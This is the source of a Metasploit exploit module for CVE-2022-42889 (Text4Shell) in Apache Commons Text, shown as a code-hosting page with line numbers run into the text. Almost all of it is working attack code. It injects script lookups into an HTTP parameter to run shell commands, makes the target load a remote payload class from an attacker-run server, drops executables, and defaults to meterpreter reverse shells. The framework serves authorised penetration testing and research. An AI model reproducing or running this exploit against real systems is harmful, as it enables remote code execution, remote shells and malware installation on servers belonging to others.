Path: blob/master/modules/exploits/multi/http/apache_commons_text4shell.rb
31733 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10include Msf::Exploit::Remote::Java::HTTP::ClassLoader1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Apache Commons Text RCE',17'Description' => %q{18This exploit takes advantage of the StringSubstitutor interpolator class,19which is included in the Commons Text library. A default interpolator20allows for string lookups that can lead to Remote Code Execution. This21is due to a logic flaw that makes the "script", "dns" and "url" lookup22keys interpolated by default, as opposed to what it should be, according23to the documentation of the StringLookupFactory class. Those keys allow24an attacker to execute arbitrary code via lookups primarily using the25"script" key.2627In order to exploit the vulnerabilities, the following requirements must28be met:2930Run a version of Apache Commons Text from version 1.5 to 1.931Use the StringSubstitutor interpolator32Target should run JDK < 1533},34'License' => MSF_LICENSE,35'Author' => [36'Alvaro Muñoz', # Original research37'Karthik UJ', # PoC38'Gaurav Jain', # Metasploit module39],40'References' => [41['CVE', '2022-42889'],42['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'],43['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker']44],45'Targets' => [46[47'Java (in-memory)',48{49'Type' => :java,50'Platform' => 'java',51'Arch' => ARCH_JAVA,52'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }53},54],55[56'Windows EXE Dropper',57{58'Platform' => 'win',59'Arch' => [ARCH_X86, ARCH_X64],60'Type' => :windows_dropper,61'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }62}63],64[65'Windows Command',66{67'Platform' => 'win',68'Arch' => ARCH_CMD,69'Type' => :windows_cmd,70'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }71}72],73[74'Unix Command',75{76'Platform' => 'unix',77'Arch' => ARCH_CMD,78'Type' => :unix_cmd,79'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' }80}81],82[83'Linux Dropper',84{85'Platform' => 'linux',86'Arch' => [ARCH_X86, ARCH_X64],87'Type' => :linux_dropper,88'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }89}90]91],92'Privileged' => false,93'DisclosureDate' => '2022-10-13',94'DefaultTarget' => 0,95'Notes' => {96'Stability' => [CRASH_SAFE],97'Reliability' => [REPEATABLE_SESSION],98'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]99}100)101)102register_options([103OptString.new('TARGETURI', [ true, 'The target URI', '/']),104OptString.new('PARAM', [ true, 'The vulnerable parameter']),105OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']])106])107end108109def check110vprint_status("Checking if #{peer} can be exploited.")111res = send_exp112return CheckCode::Unknown('No response received from target.') unless res113114# blind command injection using sleep command115sleep_time = rand(4..8)116vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")117_res, elapsed_time = Rex::Stopwatch.elapsed_time do118send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})")119end120vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.")121return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time122123CheckCode::Vulnerable('Successfully tested command injection.')124end125126def exploit127case target['Type']128when :java129# Start the HTTP server to serve the payload130java_class_loader_start_service131# Trigger a loadClass request via java.net.URLClassLoader132trigger_urlclassloader133# Handle the payload134handler135when :windows_cmd, :unix_cmd136execute_command(payload.encoded)137when :windows_dropper, :linux_dropper138execute_cmdstager139end140end141142def trigger_urlclassloader143url = get_uri144145vars = Rex::RandomIdentifier::Generator.new146147exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');"148exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');"149exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);"150151res = send_exp(exp)152153fail_with(Failure::Unreachable, 'No response received from the target') unless res154fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200155end156157def execute_command(cmd, _opts = {})158vars = Rex::RandomIdentifier::Generator.new159160exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];"161exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});"162163res = send_exp(exp)164165fail_with(Failure::Unreachable, 'No response received from the target') unless res166fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200167end168169def send_exp(exp = '')170vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post'171send_request_cgi(172'method' => datastore['METHOD'],173'uri' => normalize_uri(target_uri.path),174175vars => {176datastore['PARAM'] => "${script:javascript:#{exp}}"177}178)179end180181def win_target?182target['Platform'] == 'win'183end184185def on_request_uri(cli, request)186case target['Type']187when :java188# Call method to handle java payload staging189super(cli, request)190else191# Handle win/unix cmd staging192client = cli.peerhost193print_status("Client #{client} requested #{request.uri}")194print_status("Sending payload to #{client}")195send_response(cli, exe)196end197end198end199200201